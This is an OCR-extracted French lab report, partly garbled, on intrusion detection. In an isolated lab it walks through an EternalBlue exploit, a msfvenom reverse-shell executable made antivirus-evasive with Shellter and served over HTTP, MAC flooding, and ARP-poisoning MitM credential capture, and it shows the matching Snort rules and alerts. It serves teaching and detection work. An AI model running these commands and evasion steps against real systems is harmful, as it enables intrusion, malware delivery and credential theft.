techniqguement d'étre la cible des cyberattaques.

EternalBlue a été développé par la National Security Agency des Etats-
Unis. La NSA a utilisé EternalBlue pendant cing ans avant d'alerter
Microsoft de son existence.

Le numéro des vulnérabilités d'EternalBlue est enregistré dans la base
de données nationale des vulnérabilités sous le numéro CVE-2017-0144.

Simulation de 'attaque EternalBlue

—

=
&

On va utiliser la console Metasploit pour réaliser I'attaque EternalBlue sur une machine Windows 7 pro SP1:
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1. Allumez les trois machines virtuelles qui sont

dans le méme sous-réseau. _@_
2. Llancez la console Metasploit sur Kali par la
commande msfconsole. DB

172.18.20.254/24
3. Cherchez pour le nom EternalBlue par la

commande search. '

<z
4. Choisissez I'exploit par lacommande use et 4) o
ensuite vérifiez ces options disponibles parla Kali linux / le pirate Windows 7
172.18.20.210 172.18.20.245

commande show options :

rnalblue

517-010 EternalBlue S
@ EternalRo

msf6 exploit( ) > show options

Module options (exploi i /i rnalblue):
ription
metasploit-framewor! ki/Using-Me

tion. Only af

L tr
ERIFY_TARGET true

EXITFUNC

L'adresse a I'écoute (LHOST) qui est I'adresse IP de Kali et le port a I'écoute (LPORT) sont déja configurés. Le port sur
la machine victime est 445 qui est le port du protocole SMB. On doit définir I'adresse IP de la machine victime :

5.

fessional 7601 e Pack 1 x64 (64-bit)
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6. On voit bien que I'on a accés au meterpreter sur la machine victime, alors on peut exécuter toutes les
commandes cmd sur cette machine.

Meterpreter: meterpreter est une charge utile (payload) d'attaque Metasploit qui fournit un Shell interactif a
I'attaquant a partir duquel explorer la machine cible et d’exécuter des codes.

7. Vérifiez I'acces aux dossiers sur le systeme victime :

Last modifie Name

Settings

m Fil
m Files

lume Information

Capturer 'attaque par Snort
La regle par rapport a I'attaque EternalBlue est située dans la catégorie snort_os_windows.rules. On va activer cette
catégorie dans 'onglet Lan Categories :

O emerging-snmp.rules O -solaris.rules (] snort_server-oracle.so.rules

O emerging-sql.rules windows.rules O snort_server-other.so.rules

O emerging-telnet.rules O cy-multimedia.rules O snort_server-webapp.so.rules

® 1 41978 tcp any any SHOME_NET 445 0S-WINDOWS Microsoft

Windows SMB remote code
execution attempt

La regle dans sa forme compléte est la suivante :

Category  Active Rules

GID:SID 1:41878

Rule Text slert top any any -> SHOME NET 445 (msg:“0S-WINDOWS Microsoft Windows SME remote code execution
attempt”;
byte_extri
metadat ips drop, policy max-detect-ips drop, policy

security- drop, rul
e,2017-@146; referenc

url,isc.sans.edu/forums

ce netbios-ssn; reference:cve,2@17-8144;
rl,blog.talosintelligence. .html;
ary/ETERNALBLUE+Possible: verflow+8Day/22304/;
reference:url,technet.microsoft.com/en-us/security/bulletin/M517-818; classtype:attempted-admin;
sid:41978; revi5;)

reference

reference

Les alertes déclenchées par Snort sont les suivantes :

Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description

2022-09-29 1 TCP Attempted Administrator  172.18.20.210 38395 172.18.20.245 445 1:41978 0S-WINDOWS Microsoft Windows SMB
23:43:56 Privilege Gain Q Q X remote cade execution attempt
2022-09-29 1 TCP Attempted Administrator  172.18.20.210 38395 172.18.20.245 445 OS-WINDOWS Microsoft Windows SMB
234346 Privilege Gain Q Q remote code execution attempt
2022-09-29 1 TCcP Attempted Administrator  172.18.20.210 38395 172.18.20.245 445 O0S-WINDOWS Microsoft Windows SMB
23:43:46 Privilege Gain Q remote code execution attempt
2022-09-29 1 TCP Attempted Administrator  172.18.20.210 38395 172.18.20.245 445 0S-WINDOWS Microsoft Windows SMB
23:43:46 Privilege Gain Q Q remote code execution attempt
2022-09-29 1 TCcP Attempted Administrator  172.18.20.210 38395 172.18.20.245 445 0S-WINDOWS Microsoft Windows SMB
23:43:46 Privilege Gain Q Q remote code execution attempt
2022-09-29 1 TCP Attempted Administrator  172.18.20.210 38395 172.18.20.245 445 OS-WINDOWS Microseft Windows SMB
23:43:46 Privilege Gain Q Q remote code execution attempt
2022-09-29 1 TCcP Attempted Administrator  172.18.20.210 38395 172.18.20.245 445 0S-WINDOWS Microsoft Windows SMB
23:43:46 Privilege Gain Q remote code execution attempt
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Attaque de Malware

Une attaque de malware est une cyberattaque courante dans laquelle un malware (normalement un logiciel
malveillant) exécute des actions non autorisées sur le systemede lavictime. Le logiciel malveillant inclut de nombreux
types d'attaques spécifiques tels que les rancongiciels, les logiciels espions, la commande et le contréle, etc.

Rangongiciel : (Ransomware) est un logiciel malveillant qui utilise le cryptage pour conserver les informations d'une
victime contre rangon. Les données critiques d'un utilisateur ou d'une organisation sont cryptées afin qu'il ne puisse
pas y accéder. Une rangon est alors exigée pour permettre l'accés.

Les logiciels espions® : Un logiciel espion est un type de logiciel malveillant installé sur un appareil informatique. Il
envahit I'appareil et vole des informations sensibles et les transmet aux utilisateurs externes.

La commande et le control : (Command and Control) est une attaque de malware utilisée pour établir un canal secret
a distance entre un hote compromis et le serveur de I'attaquant. Le serveurde I'attaquant est souvent appelé serveur
de commande etde contrdle, serveur C2 ouserveur C& C. L'attaquanta le controle total de I'ordinateur de la victime
et peut exécuter n'importe quel code.

Types d'attaques de logiciels malveillants

Cheval de Troie: il s'agit d'un programme quisemble étre une chose (parexemple, unjeu, une application utile, etc.)
mais qui est en réalité un mécanisme de diffusion de logiciels malveillants. Un cheval de Troie compte sur l'utilisateur
pour le télécharger (généralement a partir d'Internet ou via une piece jointe a un e-mail) et I'exécuter sur la cible.

Virus :unvirus est un type de malware auto-propagé quiinfected'autresprogrammes et fichiers (ouméme desparties
du systéme d'exploitation et du disque dur) d'une cible via l'injection de code. Ce comportement de propagation de
logiciels malveillants en s'injectant dans des logiciels existants est ce que différencie un virus et un cheval de Troie.

Ver : un logiciel malveillant congu pour se propager dans d'autres systémes estunver. Alors que les virus et chevaux
de Troie sont localisés sur un systéme cible infecté, un ver travaille activement pour infecter d'autres cibles.

Simulation d’une attaque de Malware

Pour cet exemple nous allons créer un malware qui nous
permet d’attaquer une machine Windows 10 en créant un
reverse-Shell sur la machine de la victime. Le résultat est la
création d’une backdoor sur la machine de la victime a l'aide
d’un malware. La victime télécharge le malware depuis notre @
site web et I'ouvre sur son PC sans savoir de quoi il s’agit. -

-

kali linux / le pirate Windows 10 victime
172.18.20.210 172.18.20.10

Pour cette simulation nous allons utiliser une Kali, une
machine Windows 10 Pro 32 bits et I'IDS dans un sous-réseau
et ils sont joignables par le commutateur virtuel de
VirtualBox :

Création d'un fichier .exe malveillant (le malware)
Pour créer I'exécutable sur Kalilinux, nous utilisons msfvenom comme indiqué dans la commande ci-dessous :

sudo msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe LHOST=172.18.20.210
LPORT=4444 -o chocolat.exe

La commande demande a msfvenom de générer un fichier exécutable Windows 32 bits qui implémente une connexion
TCP inversée (payload). Le format doit étre spécifié comme étant de type .exe, et I'hnote local (LHOST) et le port local
(LPORT) doivent étre définis. Dans notre cas, le LHOST est I'adresse IP de notre machine Kali etle LPORT est le port sur
lequel on écoute pour la connexion une fois que la victime a été compromise.

6 Spyware
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L sfveno i} : C 2 x86 windows -f exe LHOST=172.18.20.210 LPORT=4444 o chocolat.exe
Jusr/share/me 0 : .8. rb_ 4.2/1ib/hrr_rb_ssh/transport/server_h0ST KEY
thm:: EcdsaShaZNistp256 :: NAME

54 bytes
Final size of exe file: 73802 bytes

Rendre le malware indétectable

Les solutions antivirus fonctionnent en détectant les signatures malveillantes dans les exécutables. Notre fichiersera
donc signalé comme malveillant une fois dans I'environnement Windows. Nous devons trouver un moyen de le
modifier pour contournerla détection antivirus. Nous allons I'encoder pour le rendre totalementindétectable, ou FUD
(fully undetectable).

Pour encoder notre exécutable, nous utiliserons Shellter. Shellter fonctionne en changeant les signatures de
I'exécutable de celle qui est malveillante en une signature complétement nouvelle et unique qui peut contournerla
détection.

1. Survotre Kali, téléchargez Shellter avec la commande sudo apt-get install shellter.

2. Pour lancez Shellter, tapez simplement shellter sur le
terminal.

3. Vousdevrezentrerle cheminabsolu vers|'exécutable pour
créer FUD. Assurez-vous de sélectionner le mode Auto,
comme indiqué dans la photo.

4. Shellter s'initialisera ensuite et exécutera quelques
vérifications. Il vous demandera ensuite si vous souhaitez
exécuter en mode furtif. Sélectionnez Y pour oui.

5. Il vousdemanderad'entrerle payload, qu'elle soit personnalisée ou répertoriée. Vous devez en sélectionner
un répertorié en tapant L. Sélectionnez la position d'index du payload a utiliser. Nous avons besoin d'un
Meterpreter_Reverse_TCP, nous devrons donc choisir 1.

Shell7er

Starting Firs ge Filtering...

oy inde

6. EntrezLHOST et LPORT etappuyezsurEntrée. Shellters'exécuteraetvous demanderad'appuyer sur Entrée.

A cette étape, I'exécutable que vous avez fourni aura été rendu indétectable par les solutions antivirus.

Rendre le malware téléchargeable sur le serveur web apache?2
1. Déplacer le fichier chocolat.exe vers le répertoire /var/www/htm|
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2. Mettez-vous dans ce répertoire. —
Donnez le droit exécuter au fichier .exe

w

4. Démarrer/redémarrer le serveur apache2 par sudo [ : index .nginx-debian. html

/var/ww /html

systemctl start apache2

Maintenant le fichier chocolat.exe est téléchargeable depuis
"URL http://172.18.20.210/chocolat.exe

Nous devons maintenant configurer un écouteur sur le port que nous avons déterminé dans lI'exécutable. Nous le

faisons en lancant Metasploit, en utilisant la commande msfconsole sur le terminal Kali Linux.

La capture d'écran ci-dessous montre les commandes a
émettre dans Metasploit. Tout d'abord, nous dirons a
Metasploit d'utiliser le gestionnaire de charge utile
générique multi/handler en utilisant la commande use
multi/handler. Nous définirons ensuite la charge utile
pourqu'elle corresponde a celle définie dans I'exécutable

—=[ 9 evasion

sploit tip: Search can apply cc

a l'aide de la  commande set payload
windows/meterpreter/reverse_tcp. Nous  définirons ) © Sk MRl
ensuite LHOST 172.18.20.210 et LPORT 4444. Une fois [l ) > expleit

Started reverse TCP handler on 172

cela fait, tapez exploit et appuyez sur Entrée.
L'étape suivante consiste a l'exécuter du point de vue de Windows.

Exécution de la charge utile

1. Surla machine Windows téléchargez le malware depuis le lien http. http://172.18.20.210/chocolat.exe

M (3 Nouvelonglet x & NS

e =
@ http://172.18.20.210/chocolat.exe E
© 8 . i e ant Téléchargements B Q. =
Pourunaccésrd (@) http://172.18.20.210/chocolat.exe
st pas fréquemment té
Q. http://172.18.20.210/chocolat.exe - Recherche : Bing ewadaites confiance & chocc
W Supprimer
Saint-Orens-de-... | Afficher plu
| Conserver %
Signaler ce fichier comme fiable
En savoir plus
B G Copier le lien de téléchargement

|} ~a ~™ a — =

2. Exécutez le fichier sur Windows victime :

€« v 4 & CePC > Téléchargements v B O Rechercher dans: Téléc

Nom Modifiéle 5
# Accés rapide

[ Bureau ~ Aujourd'hui (1)
S g ey ’ 21301 Al Exé‘“teua“d méme _Ne pas exécuter
Ouvrir _

%] Documents

) Exécuter en tant qu'administrateur

&= Images ) ) o
Résoudre les problémes de compatibilité

B Musique Epingler & I'écran de démarrage

I8 videos ITT Amahecar ssrar Mirsmenft Misfandar

de

L'exécutable provoque I'exécution de la charge utile et se reconnecte a la machine attaquante. Immédiatement,

nous recevons une session meterpreter sur notre Kali.
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3. Tapez la commande help et vous auriez une liste des différentes commandes par lesquelles vous pouvez

espionner la machine

Command

enumde:

oL

Command

Capturer 'attaque par Snort

Ces attaques sont déclenchées sur le IDS Snort. Il nous dit que ¢’était une attaque Trojan par Metasploit :

victime :

e Commands

e desktops and window s
nt meterp: r desktop
urns the numbe f conds the remot

tions

the rem
ensh

ntrol some

t micrephone for X seconds

put

Descriptien

uVustHOK jpeg

ser has been i

prends une capture d'écran

enregistrer,depuis le micro

jouer,un fichier,audio

4 Entries in Active Log

Date Action Pri Proto Class Source IP SPort Destination IP
2022-09-30 1 TCP ANetwork Trojan ~ 172.18.20.210 4444 172.18.20.115
14:09:56 was Detected Q Q
2022-09-30 3 TCP Misc activity 172.18.20.210 4444 172.18.20.115
14:09:56 Q
2022-09-30 1 TCP A Network Trojan 172.18.20.210 4444 172.18.20.115
14:09:56 was Detected Q Q
2022-09-30 3 TCP Misc activity 172.18.20.210 4444 172.18.20.115
14:09:56 Q

DPort GID:SID Description

59429 1:2025644 | ET TROJAN Possible Metasploit Payload
X Common Construct Bind_API (from server)

59429 1:2035480 ET INFO PE EXE Download over raw TCP
X

59428 1:2025644 ET TROJAN Possible Metasploit Payload
b 4 Common Construct Bind_API (from server)

59428 1:2035480 ET INFO PE EXE Download over raw TCP
FHx

accédez au chemin suivant pour trouver la forme compléte de la regle SID : 2025644
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Diagnostics / Edit File (2]

Advanced Users Only
The capabilities offered here can be dangerous. No support is available. Use them at your own risk!

Save / Load a File from the Filesystem

/usr/local/etc/snort/snort_12394_em1/rules/snort.rules

@Load EEE\owse Bsave PPGoTo Line # :

# These rules are your current set of enforced rules for the protected
# interface. This list was compiled from the categories selected on the
# CATEGORIES tab of the snort configuration for the interface and/or any
# chosen Snort Subscriber Rules pre-defined IPS Policy.

#
# Any enablesid or disablesid customizations you made have been applied

# to the rules in this file.|

alert ( msg:"DECODE_NOT_IPV4A_DGRAM"; sid:1; gid:116; rev:1; metadata:rule-type decode; classtype:protocol-command-decode;)

alert ( msg:"DECODE_IPVA INVALID HEADER_LEN"; sid:2; gid:116; rev:l; metadata:policy max-detect-ips drop, rule-type decode; classtype:protocol
alert ( msg:"DECODE_IPVA DGRAM_LT_IPHDR"; sid:3; gid:116; rev:1; metadata:policy max-detect-ips drop, rule-type decode; classtype:protocol-com
alert ( msg:"DECODE IPVAOPT BADLEN"; sid:4; gid:116; rev:l; metadata:policy max-detect-ips drop, rule-tvpe decode; classtype:protocol-command-

Voici la regle dans sa forme compléte :

alert tcp SEXTERNAL_NET any -> SHOME_NET any (msg:"ET TROJAN Possible Metasploit Payload Common Construct Bind_API (from server)";
flow:from_server,established; content:" |60 89 e5 31|"; content:" |64 8b|"; distance:1; within:2; content:"|30 8b|"; distance:1; within:2;
content:" |Oc 8b 52 14 8b 72 28 Of b7 4a 26 31 ff|"; distance:1; within:13; content:"|ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2|"; within:15;
content:" |52 57 8b 52 10|"; distance:1; within:5; classtype:trojan-activity; sid:2025644; rev:1; metadata:affected_product Any, attack_target
Client_and_Server, created_at 2016_05_16, deployment Perimeter, deployment Internet, deployment Internal, deployment Datacenter,
former_category TROJAN, signature_severity Critical, tag Metasploit, updated_at 2018_07_10;)

Mac Flooding

L'inondation MAC (Mac Flooding) est l'une des attaques de réseau les plus courantes. Contrairement a d'autres
attagues, MACFlooding n'est pas une méthode d'attaque de n'importe quelle machine héte du réseau, mais c'est la
méthode d'attaque des commutateurs du réseau. Cependant, lavictime finale de I'attaque est un ordinateur h6te du
réseau.

Les commutateurs maintiennent unestructure de table appeléetable MAC. Cettetable MAC se compose des adresses
MAC des ordinateurs hotes du réseau qui sont connectés aux ports du commutateur. Cette table permet aux

commutateurs de diriger les données hors des ports ol se trouve le destinataire.

Les concentrateurs (Hubs) diffusentles données sur I'ensemble du réseau permettantaux données d'atteindre tous
les hotes du réseau, mais les commutateurs envoient les données aux machines spécifiques auxquelles les données
sont destinées a étre envoyées. Cet objectif est atteint par I'utilisation de tables MAC. L'objectif du MAC Flooding est
de supprimer cette table MAC.

Dans une attaque par inondation MAC, I'attaquant envoie des trames Ethernet en grand nombre. Lors de I'envoi de
nombreuses trames Ethernet au commutateur, ces trames auront différentes adresses d'expéditeur. L'intention de
I'attaguant est de consommerla mémoire du commutateur qui est utilisée pour stockerla table d'adresses MAC. Les
adresses MAC des utilisateurs légitimes seront expulsées de la table MAC. Maintenant, le commutateur ne peut pas
fournir les données entrantes a la destination.

La table d'adresses MAC est pleine et il est impossible d'enregistrer de nouvelles adresses MAC. Cela conduira le
commutateur aentrer dans un mode fail-open et le commutateur se comportera désormais de laméme maniere qu'un
concentrateur de réseau. Il transmettra les données entrantes a tous les ports comme une diffusion.

Comme l'attaquant fait partie du réseau, il obtiendra également les paquets de données destinésala machine victime.
Donc l'attaquant peut voler des données sensibles de la communication de la victime et d'autres ordinateurs.
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Simulation de MAC Flooding avec dsniff Macof
Pourla simulation de cette attaque, nous allons utiliser un switch (ici cisco 3750), Kali linux etI'IDS. Kali et IDS (pfsense)
sont installés sur les machines virtuelles sur VirtualBox. J'ai
configuré les interfaces d’IDS et de Kali linux sur le mode
externe pourgu'’ils puissent communiquer avecle switch. J'ai
branché I'h6te physique qui contient ces deux machines
virtuelles a 'interface fa 1/0/23 sur le switch. J’ai aussi ajouté
une deuxieme machine physique sur une autre interface de
switch (fa 1/0/5). Ensuite j’ai configuré une adresse IP sur

interface vlan 1 du switch pour pouvoir communiquer avec lui.

Note : C’est possible aussi de simuler cette attaque sur GNS3.

_—
.

-

VirtualBox

Source:

kali linux / le pirate
172.18.20.210

A

[_5:—

virtual switch (virutalbox)

ID

172.18.20.254/24
Mac flooding,

<<
J&:_.,

Target
S

int vian 1 ip address:
172.18.20.50/24

fa 1/0/23 % fa 1/0/5

Switch Cisco 3750

> -
deuxieme PC

J'aiaccédé ala console de switch grace a un cable console :

1. Sélectionnez l'interface vlan 1 et donnez-lui une adresse IP par les commandes :

a. Interfacevlan1

b. Ipaddress 172.18.20.50 255.255.255.0

2. Vérifiezla connexion depuis Kali vers switch en faisant un ping vers IP

172.18.20.50

3. Vérifiez la table du MAC de switch sur I'interface fa 1/0/23. lly a
trois adresses MAC dans la table d’adresse MAC de I'interface fa
1/0/23 (On devrait avoir trois interfaces sur la machine physique)

4, Vérifiezlatable d’adresse MAC du switch sur l'interface fa 1/0/5. Il

yenadeux:

sw-core#show mac address-table inter fa 1/0/5
Mac Address Table

Vlan Mac Address

1 0015.5d5a.3108
1 509a.4c98.ce80
Total Mac Addresses for this criterion: 2

DYNAMI(
DYNAMI(

Fal/0/5
Fal/0/5

fonctionne correctement.

Donc

le

switch

sw-core#sh 1p int vlan 1
1s up, line protocol 1is

Internet address 1is /24

Broadcast address 1s 255.255.255.255
Address determined by setup command
MTU is 1500 bytes

Helper address is not set

0% packet loss, time 4012ms
= 2.072/2.895/4.339/0.801 ms

sw-core#show mac address-table inter fa 1/0/23
Mac Address Table

Ports

Fal/0/23
Fal/0/23
Fal/0/23
Total Mac Addresses for this criterion: 3

0800.2799.93d2
0800.27fb.5962
abce.c8ee.4bl14

DYNAMI(
DYNAMI(
DYNAMI(

Maintenant nous allons lancer I'attaqgue MAC Flooding depuis la machine linux et vérifier la situation des tables
d’adresse MAC s’ils sont remplis et s’ils peuvent toujours enregistrer les nouve lles adresses MAC. Pour cela :

1. Débranchez le deuxiéme PC physique de l'interface fa 1/0/5 du switch.
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2. Redémarrezle switch pourvider sestables d’adresse MAC.

3. Vérifiezlatable d’adresses MAC de I'interface 1/0/23.1ly a
seulementles deux lignes qui sont pour les deux machines
connectées sur cette interface.

4, Allez sur Kali et installez le paquet dsniff par la commande
sudo apt install dsniff.

5. Ensuite lancezla commande sudo macof. L'utilisation de macof peut facilementinonder un commutateur avec
de nombreusesadresses MAC. En raison de quoiles adresses maclégitimes ne trouventaucune place dans la
table MAC.

162
4b14
s for this criterion: -

6. Apreés quelques secondes vérifier la table MAC de I'interface gy torL o DwMIC  Fai/e/

fa 1/0/23. On peutvoir qu’ilya énormément de lignesdansla s e e s

. 3 DYNAMIC Fal/0/23

table MAC : (la commande show mac address-table interface o g

fa 1/0/23 sur le switch 3750) T

02f C DYNAMIC I?l/:)/)!

N . . . : : ) omawc  Fai/o/2)

Apres quelques minutes latable macdu switch sera pleine etil ne peut o272 Ui B e 8is

. U . 0401. 4f DYNAMIC Fa1/6/23

plus enregistrer les adresses mac des PC légitime qui se connectent Gdoo. {751 bacs  DINANIC  Fai/0/23

0 ) C al/e/23

aux autres ports sur le switch. On connecte le deuxieme PC sur S el Lt B

. , g DYNAMIC Fal1/0/23

I'interface 1/0/5 et quand le port est allumé, on vérifie sa table mac. ; D O ot
. . . . . Y DYNAMIC Fal/0/2

On voit qu’il n’enregistre jamais I'adresse MAC de la deuxiéme PCsur v issd lad  DWNIC  Fat/o/23

cette interface car la table mac est pleine. Le résultat est que le switch ’ " OWNMIC  Fat/o/ss

se rends 3 un HUB : 1 locto.casa  DYNAMIC  Fai/e/23

tEthernet
ine protocol on In a a t1/ changed state to

linterfacelesU dmais]ial
tablelmactestitoujoursivide

La solution pource probleme estde viderla table mac ou redémarrerle switch. Apres avoirarrété I'attaque bien sar !

Capturer I'attaque MAC Flooding par WireShark

J'ai capturé les paquets transmis sur le réseau par Macof a I'aide de WireShark. Le protocole dans ces paquets n’est
pas de type ARP mais IPv4. Et cela est pourquoi cette attaque ne déclenche pas des alertes par le préprocesseur
Arpspoof.On parleraen détails de ce préprocesseur dans I’'exemple MitM (man in the middle) prochainement dans ce
projet. Pour pouvoir capturer cette attaque on pourrait écrire notre propre regle dans le custom.rules.
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Fichier Editer Vue Aller Capture Analyser Statistiques Telephonie Wireless Outils  Aide
mae RE e sz EaaaH

No. Time Source Destination Protocol  Length Info

2299.. 388.735985  229.58.67.91 223.254.239.44 IPva 60

2299. 388.736@94  80.3.134.48 222.181.208.29 IPva 68
2300.. 388.736144  243.5.117.87 116.205.177.119 IPva 60
2300.. 388.736208  216.174.172.123 29.255.108.64 IPva 68

2300.. 388.736395  110.202.39.46 66.188.15@.111 IPva 60

2300.. 388.736515  226.7.94.73 47.241.254.9 IPva 60

2300.. 308.736602  07.247.44.27 252.10.63.52 IPva 69

2300.. 388.736682  42.69.33.72 36.227.56.78 IPva 68

2300.. 388.736796  214.173.161.127 91.122.164.84 IPva 60

Comment empécher 'attaque par inondation MAC ?
Nous pouvons empécherl'attaqgue MAC Flooding avecdifférentes méthodes. Voiciquelques-unes de ces méthodes.

e PortSecurity

e Authentification avec le serveur AAA

e Mesures de sécurité pour empécher ARP Spoofing ou IP Spoofing
e Implementer les suites IEEE 802.1X

L'attaque Arp Poisoning et MitM (Man in the Middle)

Les attaques ARP Poisoning et Man-in-the-middle (MITM) sont des typesde cyberattagues qui permettent aux pirates
d'espionner les communications entre deux parties. Techniquement, I'empoisonnement ARP est un type d'attaques
Man-in-the-middle.

Qu'est-ce que I'ARP ?
L'acronyme ARP signifie Address Resolution Protocol et il s'agit d'un protocole qui permet les communications réseau
entre les appareils. ARP est utilisé pour traduire les adresses IP en une adresse MAC dans un LAN.

L'h6te maintient un cache ARP et |'utilise pour se connecter a d'autres destinations surle réseau. Cependant,sil'hote
n'a pas l'adresse MAC d'une adresse IP recherchée, il demandera aux autres machines du réseau en envoyant un
paquetde requéte ARP. Habituellement, ARP est utilisé dans les appareils pour communiquer le routeur qui permet a
ces appareils de se connecter a Internet.

Comment fonctionne I'empoisonnement ARP ?
Le protocole ARP n'est pas sécurisé et les concepteurs du A, oo
protocole n'ont pas inclus de systeme d'authentification pour & s
valider les messages ARP. Par conséquent, n'importe quel
appareil sur le méme réseau peut répondre a une requéte
ARP, méme si le message d'origine n'est pas demandé pour \/,5\/
lui. Le pirate prend ces mesures pour attaquer : — @ g @
swhen

Router
IP: 172.18.20.254
MAC: C

l(Co

1. 1l doit avoir accés au réseau. Il scanne le réseau pour e zeans
trouver les adresses IP de victime et routeur.

2. Ensuite, il utilise un outil d'usurpation pour réaliser I'attaque d'empoisonnement ARP.

3. Ala suite de I'attaque, les deux parties de la connexion (le victime et routeur) vont croire que l'adresse MAC
de l'attaquant est la bonne et corresponde a leurs adresses IP.

4. Maintenant, ces deux appareils vont mettre a jour leurs entrées de cache ARP. A partir de ce moment, les
deux appareils communiquent avecl'attaquant, au lieu de communiquerdirectement!|'un avec l'autre. Mais
le probléme, c'est que I'attaquant prétend étre les deux cotés du canal de communication. A cause de cela,
ces deux-la n'ont aucune idée qu'ils communiquent avec quelqu'un a I'ex térieur.

5. Désormais, I'attaquant peut effectuer n'importe quoi secretement a son insu.
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Man in the Middle (MitM)

Comme je I'ai mentionné ci-dessus, I'empoisonnement ARP est un type

d'attaque MITM. Apres s'étre introduits dans la communication, les

attaquants se font passer pour des participants légitimes. De cette facon, ’
les deux parties d'origine ne savent pas qu'il y a un attaquant et elles
communiquenten pensantqu'elles se sontconnectées directement|'une a

HOW MAN-IN-THE-MIDDLE ATTACK WORKS

+

dl
|
g

l'autre. Mais la réalité est que les deux parties communiquent avec a
I'attaquant au lieu de communiquer directement entre elles a leur insu.

MAN IN THE MIDDLE

L'attaquant peut facilement effectuer ces attaques MITM pour voler des
identifiants de connexion ou desinformations confidentielles, espionnerla victime, perturberles communications ou
corrompre les données.

1
>

é@

USER \ / WEB APPLICATION

L’'empoisonnement ARP est un type d’attaque MitM. Mais il existe plusieurs types d'attaques Man-In-The-Middle,
telles que l'empoisonnement DNS et l'usurpation HTTPS.

Simuler I'attaque Man in the Middle
Pour cette attaque, j’ai utilisé une machine Windows, le Metasploitable 2 et une machine Kali. Le client ouvre une
page web login surle serveurweb et s’identifie. En méme temps le pirate réalise le MitM et vole I'identifiant et le mot
de passe du client.

1

Allumez les quatre machines et mettez-les dans le
méme sous réseau comme indiqué dansle schéma. Il y
a un serveur web apache sur le Metasploitable et sa
page web login est accessible depuis le client.
Ouvrezle terminal dans le kali et tapez sudo ettercap -
G. Ettercap est un outil gratuit et open-source quipeut
lancer des attaques Man-In-The-Middle. Vous pouvez
utiliser cet outil pour I'analyse du réseau et l'audit de
sécurité et il peut fonctionner sur divers systéemes
d'exploitation, tels que Linux, Windows et Mac OS X. |l
est par défaut installé sur Kali.

Sélectionnez l'interface ethO et lancez unified sniffing
en cliqguant sur le bouton valider.

B
172.18.20.254/24

=
Client Windows

172.18.20.10
c'est mol c'est moi
le serveur web @ le client

kali linux / le pirate
172.18.20.210

[

Serveur Web
Metasploitable 2
172.18.20.240

Dans le menu Hosts, cliquez sur Scan for hosts. Cela cherchera pourlaliste des h6tesdisponiblesdans le réseau

Ettercap

Choisissez I'adresse de la machine Metasploitable comme Target 1 et Windows 10 comme Target 2

Dans le menu Target, choisissez Current Target
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A E Q=
Host List x

IP Address MAC Address Description
172.18.20.1 7

Targets 4 Targets

0.250 08:00:27:0F:BD:63
172.18.20.254 08:00:27:E9:D9:0E Hosts

Current targets

View Select targets

7 Filters Protocol
Delete Host Addto Target 1 Add toTarget2 .

e e Logging Reverse matching
Randomizing 255 hosts for scanning... H
Scanning the whole netmask for 255 hosts... p lUg| ns
5 hosts added to the hosts list
Host172.18.20.240 added GET1
Host172.18.20.10 added to TARGET2

Toujours sur la Kali, ouvrez un autre terminal et activez le
ipv4 packet forwarding : T

172.18.20.10

Wipe targets

EET)

Pourvérifier la configuration actuelle de ip forwarding : cat
/proc/sys/net/ipv4/ip_forward

Pour le changer : echo 1> /proc/sys/net/ipv4/ip_forward

Note : Si vous avez le message la permission est refusée,
vous avez 2 solutions :

e lancezla commande en sudo
e Mettez-voussurrootetlancezla commande. (Vous pouvez changerle mdp de root par sudo passwd root)
8. Llancez le WireShark par la commande WireShark -G ou depuis le menu des applications. Cela est pour
visualiser la diffusion des paquets ARP.
9. Depuis le menu MITM (Man In The Middle), choisissez le arp poisoning. Puis cochez le sniffing remote
connection et faite ok.

Cancel MITM Attack: ARP Poisoning

ARP poisoning.

> poisoni I
Optional parameters

10. Dans le WireShark vous pouvez voir tous les paquets arp en train d’étre échangé entre kali d’un c6té et la
victime (Windows 10) et le serveur de l'autre coté :

W |arp BE <) +

No. i Source Destination Protocol Length Info
22 8.564963456 PcsCompu_99:93:d2 PcsCompu_54:98:62 ARP 42 172.18.20.240 is

23 9.744747977 PcsCompu_99:93:d2 PcsCompu_54:98:62 ARP 42 wWho has 172.18.20)
24 9.745041247 PcsCompu_54:98:62 PcsCompu_99:93:d2 ARP 60 172.18.20.10 is a
25 13.639973203 172.18.20.10 239.255.255.250 SSDP 217 M-SEARCH * HTTP/1
26 14.669883499 172.18.20.10 239.255.255.250 SSDP 217 M-SEARCH * HTTP/1
27 15.701316246 172.18.20.10 239.255.255.250 SSDP 217 M-SEARCH * HTTP/1
28 16.716243248 172.18.20.10 239.255.255.250 SSDP 217 M-SEARCH * HTTP/1

29 18.575050176 PcsCompu_99:93:d2 PcsCompu_29:5a:T4 ARP 42 172.18.20.10 is a]
30 18.575071482 PcsCompu_99:93:d2 PcsCompu_54:98:62 ARP 42 172.18.20.240 is
31 28.585132495 PcsCompu_99:93:d2 PcsCompu_29:5a: 74 ARP 42 172.18.20.10 is a]
32 28.58515537@ PcsCompu_99:93:d2 PcsCompu_54:98:62 ARP 42 172.18.20.240 is
33 38.595270351 PcsCompu_99:93:d2 PcsCompu_29:5a:f4 ARP 42 172.18.20.10 is aj
42 172.

34 38.595290797

PcsCompu_99:
50 2

18.20.240 is

s) on interface ethe, id @
st_7f:ff:fa (01:00:5e:7f:f

Frame 1: 217 bytes on wire (17:
Ethernet II, Src:
Internet Protocol V on 4, Src:
User Datagram Protocol, Src Port:

8.20.1,
, Dst Port:

60289

11. Ensuite lancez un navigateur depuis le Windows 10 et accédez a la page login du serveur par
http://172.18.20.240/mutillidae/
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http://172.18.20.240/mutillidae/

12. Tapez un nom d’utilisateur et un mot de passe et faite login.

5 % Mutillidae: Born to be Ha % Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try hz Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged

Home Login/Register Toggle Hints Toggle Security Reset DB View

Core Controls 4

OWASP Top 10 Mutillidae: Deliberately Vulnerabl

»
Latest Version / Installation Please sign-in ‘

Login

- Latest Version Name
= Installation Instructions
» Usage Instructions Password
« Get rid of those pesky PHP errors
+ Change Log

_—— « Notes

Dont have an account? Please register here

13. Dans I'Ettercap vous pouvez voir les informations que vous venez de taper dans le navigateur.
GROUP 1:172.18.20.240 08:00:27:29:5A:F4

GROUP 2:172.18.20.10 08:00:27:54:98:62

